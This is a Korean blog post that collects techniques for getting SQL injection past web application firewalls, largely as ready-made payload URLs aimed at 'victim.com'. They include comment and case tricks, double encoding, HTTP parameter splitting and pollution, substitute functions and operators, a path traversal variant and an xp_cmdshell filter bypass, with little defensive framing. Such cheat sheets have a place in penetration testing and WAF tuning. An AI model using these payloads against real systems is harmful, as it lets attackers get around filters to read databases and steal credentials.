본문 바로가기
정보보안(웹해킹)/SQLInjection

SQL Injection WAF 우회기법

by 끊임없는정진 2022. 11. 21.

▶ WAF 기본 우회기법

 

(1) 주석처리 방법

1
2
3
http://victim.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3.....
 
http://victim.com/news.php?id=1+/*!union*/ /*!select*/ 1,2,3,4….
cs

 

(2) 대소문자 교체 방법 

1
http://victim.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3...
cs

 

(3) 단어 대체 방법 : 방화벽에서 SQL 키워드를 제거하는 방식을 사용할 때

1
2
http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--
(어떤 WAF는 소문자 "union"과 "select"를 제거하게 되고 대문자 "UNION"과 "SELECT"가 전달될 것임)
cs

 

(4) 문자 인코딩 방법 : 일부 방화벽에서는 인코딩된 SQL 키워드 디코딩을 통해 탐지가 가능. 하지만 더블 인코딩을 통해 우회가 가능함.

1
2
http://victim.com/news.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--
http://victim.com/news.php?id=1/**/union/*/select/**/1,2,3/**/from/**/users--
cs

 

(5) 버퍼오버플로우 방법 

1
http://victim.com/news.php?id=1+and+(select 1)=(select 0x414141414141441414141414114141414141414141414141414141414141414141.)+union+select+1,2,version(),database(),user(),6,7,8,9,10--
cs

 

 

 

▶ WAF 고급 우회기법

 

(1) HTTP 파라미터 분할 및 합치기 : 다음을 통해 웹서버에서 HTTP 파라미터 처리를 어떻게 처리하는지 알 수 있다.

Web Server Parameter interpretation Example
ASP.NET/IIS Concatenation by comma par1=val1,val2
ASP/IIS Concatenation by comma par1=val1,val2
PHP/Apache The last param is resulting par1=val2
JSP/Tomcat The first param is resulting par1=val1
Perl/Apache The first param is resulting par1=val1

 

SQL Injection 공격 시도를 다음과 같이 파라미터 q에 분할하여 전송 (ASP/ASP.NET's 에서는 파라미터 q를 합쳐서 q=select name,password from users 로 인식함.) :

1
http://www.example.com/search.aspx?q=select name&q=password from users 
cs

 

(2) 문자 생략 : character "%"의 경우 ASP/ASP.NET에서 생략되어 인식됨. 이 경우 SQL문 중간에 "%" 삽입을 통해 우회가 가능

1
http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
cs

 

(3) 필터링 키워드 우회 방법 : 대부분의 웹방화벽에서는 and, or 과 같은 문자를 필터링한다. and, or을 &&, ||로 대체해서 우회 가능.  Union의 경우도 아래와 같은 우회 방법이 존재함.

1
2
Filtered injection: “1 or 1 = 1”, “1 and 1 = 1”
Bypassed injection:  “1 || 1 = 1” “1 && 1 = 1”
cs
1
2
Filtered injection:    union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1= 'admin'
cs

 

(4) 자주 쓰는 함수 사용으로 인하여 차단 => 비슷한 함수로 변경하여 사용 : 

원래 함수 우회 함수
substring() mid(),substr() etc
ascii() hex(), bin() etc
benchmark() sleep()
1
2
3
4
5
6
7
8
9
변경 전:
substring((select 'password'),1,1= 0x70
substr((select 'password'),1,1= 0x70 
mid((select 'password'),1,1= 0x70
 
변경 후:
strcmp(left('password',1), 0x69= 1
strcmp(left('password',1), 0x70= 0
strcmp(left('password',1), 0x71= -1
cs

 

(5) HTTP 파라미터 변조(오염) : 

출처: http://netsec.rs

 

1
2
3
4
5
Forbidden: http://localhost/?xp_cmdshell
Bypassed : http://localhost/?xp[cmdshell
 
Forbidden: http://localhost/test.asp?file=../bla.txt
Bypassed : http://localhost/test.asp?file=.%./bla.txt
cs

 

 

 

출처 : https://wiki.wikisecurity.net/tips:waf_%EC%9A%B0%ED%9A%8C%EA%B8%B0%EB%B2%95_cheating_sheet

댓글